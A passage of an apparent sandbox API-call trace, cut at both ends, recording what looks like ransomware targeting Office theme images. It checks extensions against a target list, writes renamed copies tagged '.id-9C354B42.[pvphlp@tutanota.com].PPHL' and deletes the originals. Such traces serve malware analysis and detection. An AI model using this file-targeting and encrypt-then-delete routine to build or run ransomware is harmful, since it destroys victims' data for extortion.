Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0076.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0076.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0076.460] lstrlenW (lpString=".doc") returned 4 [0076.460] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.460] lstrlenW (lpString=".docx") returned 5 [0076.460] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.460] lstrlenW (lpString=".pdf") returned 4 [0076.460] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.460] lstrlenW (lpString=".xls") returned 4 [0076.460] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.460] lstrlenW (lpString=".xlsx") returned 5 [0076.460] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.460] lstrlenW (lpString=".ppt") returned 4 [0076.460] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0076.460] lstrlenW (lpString=".zip") returned 4 [0076.460] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.460] lstrlenW (lpString=".rar") returned 4 [0076.460] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.460] lstrlenW (lpString=".bz2") returned 4 [0076.460] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.460] lstrlenW (lpString=".7z") returned 3 [0076.460] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0076.460] lstrlenW (lpString=".dbf") returned 4 [0076.460] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0076.460] lstrlenW (lpString=".1cd") returned 4 [0076.460] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0076.460] lstrlenW (lpString=".jpg") returned 4 [0076.460] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0076.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0076.461] lstrlenW (lpString=".doc") returned 4 [0076.461] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.461] lstrlenW (lpString=".docx") returned 5 [0076.461] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.461] lstrlenW (lpString=".pdf") returned 4 [0076.461] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.461] lstrlenW (lpString=".xls") returned 4 [0076.461] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.461] lstrlenW (lpString=".xlsx") returned 5 [0076.461] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.461] lstrlenW (lpString=".ppt") returned 4 [0076.461] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0076.461] lstrlenW (lpString=".zip") returned 4 [0076.461] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.461] lstrlenW (lpString=".rar") returned 4 [0076.461] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.461] lstrlenW (lpString=".bz2") returned 4 [0076.461] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.461] lstrlenW (lpString=".7z") returned 3 [0076.461] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0076.461] lstrlenW (lpString=".dbf") returned 4 [0076.461] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0076.461] lstrlenW (lpString=".1cd") returned 4 [0076.461] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0076.461] lstrlenW (lpString=".jpg") returned 4 [0076.461] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.462] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0076.462] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0076.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0076.462] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2722) returned 1 [0076.462] CloseHandle (hObject=0x20c) returned 1 [0076.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0076.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0076.462] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.462] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.464] GetLastError () returned 0x0 [0076.464] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0xaa2, lpOverlapped=0x0) returned 1 [0076.466] WriteFile (in: hFile=0x208, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0076.467] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.467] WriteFile (in: hFile=0x208, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.467] SetEndOfFile (hFile=0x208) returned 1 [0076.467] CloseHandle (hObject=0x208) returned 1 [0076.468] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.468] SetEndOfFile (hFile=0x20c) returned 1 [0076.469] CloseHandle (hObject=0x20c) returned 1 [0076.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.469] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0076.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0076.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0076.469] lstrlenW (lpString=".doc") returned 4 [0076.469] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.469] lstrlenW (lpString=".docx") returned 5 [0076.469] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.469] lstrlenW (lpString=".pdf") returned 4 [0076.469] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.469] lstrlenW (lpString=".xls") returned 4 [0076.469] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.469] lstrlenW (lpString=".xlsx") returned 5 [0076.469] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.470] lstrlenW (lpString=".ppt") returned 4 [0076.470] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0076.470] lstrlenW (lpString=".zip") returned 4 [0076.470] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.470] lstrlenW (lpString=".rar") returned 4 [0076.470] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.470] lstrlenW (lpString=".bz2") returned 4 [0076.470] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.470] lstrlenW (lpString=".7z") returned 3 [0076.470] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0076.470] lstrlenW (lpString=".dbf") returned 4 [0076.470] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0076.470] lstrlenW (lpString=".1cd") returned 4 [0076.470] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0076.470] lstrlenW (lpString=".jpg") returned 4 [0076.470] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0076.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0076.470] lstrlenW (lpString=".doc") returned 4 [0076.470] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.470] lstrlenW (lpString=".docx") returned 5 [0076.470] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.470] lstrlenW (lpString=".pdf") returned 4 [0076.470] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.470] lstrlenW (lpString=".xls") returned 4 [0076.470] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.470] lstrlenW (lpString=".xlsx") returned 5 [0076.470] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.470] lstrlenW (lpString=".ppt") returned 4 [0076.470] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0076.471] lstrlenW (lpString=".zip") returned 4 [0076.471] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.471] lstrlenW (lpString=".rar") returned 4 [0076.471] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.471] lstrlenW (lpString=".bz2") returned 4 [0076.471] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.471] lstrlenW (lpString=".7z") returned 3 [0076.471] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0076.471] lstrlenW (lpString=".dbf") returned 4 [0076.471] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0076.471] lstrlenW (lpString=".1cd") returned 4 [0076.471] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0076.471] lstrlenW (lpString=".jpg") returned 4 [0076.471] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.471] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0076.471] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0076.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0076.474] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=43276) returned 1 [0076.474] CloseHandle (hObject=0x20c) returned 1 [0076.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0076.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0076.474] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.474] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.474] GetLastError () returned 0x0 [0076.474] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0076.477] WriteFile (in: hFile=0x208, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0076.479] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.479] WriteFile (in: hFile=0x208, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.479] SetEndOfFile (hFile=0x208) returned 1 [0076.479] CloseHandle (hObject=0x208) returned 1 [0076.481] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.481] SetEndOfFile (hFile=0x20c) returned 1 [0076.482] CloseHandle (hObject=0x20c) returned 1 [0076.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.483] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0076.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0076.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0076.483] lstrlenW (lpString=".doc") returned 4 [0076.483] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.483] lstrlenW (lpString=".docx") returned 5 [0076.483] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.483] lstrlenW (lpString=".pdf") returned 4 [0076.483] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.483] lstrlenW (lpString=".xls") returned 4 [0076.483] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.483] lstrlenW (lpString=".xlsx") returned 5 [0076.483] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.483] lstrlenW (lpString=".ppt") returned 4 [0076.483] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0076.483] lstrlenW (lpString=".zip") returned 4 [0076.483] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.483] lstrlenW (lpString=".rar") returned 4 [0076.484] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.484] lstrlenW (lpString=".bz2") returned 4 [0076.484] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.669] lstrlenW (lpString=".7z") returned 3 [0076.669] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0076.669] lstrlenW (lpString=".dbf") returned 4 [0076.669] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0076.669] lstrlenW (lpString=".1cd") returned 4 [0076.669] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0076.669] lstrlenW (lpString=".jpg") returned 4 [0076.669] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0076.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0076.669] lstrlenW (lpString=".doc") returned 4 [0076.669] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.669] lstrlenW (lpString=".docx") returned 5 [0076.670] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.670] lstrlenW (lpString=".pdf") returned 4 [0076.670] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.670] lstrlenW (lpString=".xls") returned 4 [0076.670] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.670] lstrlenW (lpString=".xlsx") returned 5 [0076.670] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.670] lstrlenW (lpString=".ppt") returned 4 [0076.670] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0076.670] lstrlenW (lpString=".zip") returned 4 [0076.670] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.670] lstrlenW (lpString=".rar") returned 4 [0076.670] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.670] lstrlenW (lpString=".bz2") returned 4 [0076.670] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.670] lstrlenW (lpString=".7z") returned 3 [0076.670] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0076.670] lstrlenW (lpString=".dbf") returned 4 [0076.670] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0076.670] lstrlenW (lpString=".1cd") returned 4 [0076.670] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0076.670] lstrlenW (lpString=".jpg") returned 4 [0076.670] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.670] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0076.670] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0076.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0076.991] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=20371) returned 1 [0076.991] CloseHandle (hObject=0x218) returned 1 [0076.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0076.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0076.992] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.992] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0076.992] GetLastError () returned 0x0 [0076.992] ReadFile (in: hFile=0x218, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x4f93, lpOverlapped=0x0) returned 1 [0076.995] WriteFile (in: hFile=0x21c, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0076.997] ReadFile (in: hFile=0x218, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.997] WriteFile (in: hFile=0x21c, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.997] SetEndOfFile (hFile=0x21c) returned 1 [0076.997] CloseHandle (hObject=0x21c) returned 1 [0076.997] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.998] SetEndOfFile (hFile=0x218) returned 1 [0076.999] CloseHandle (hObject=0x218) returned 1 [0076.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 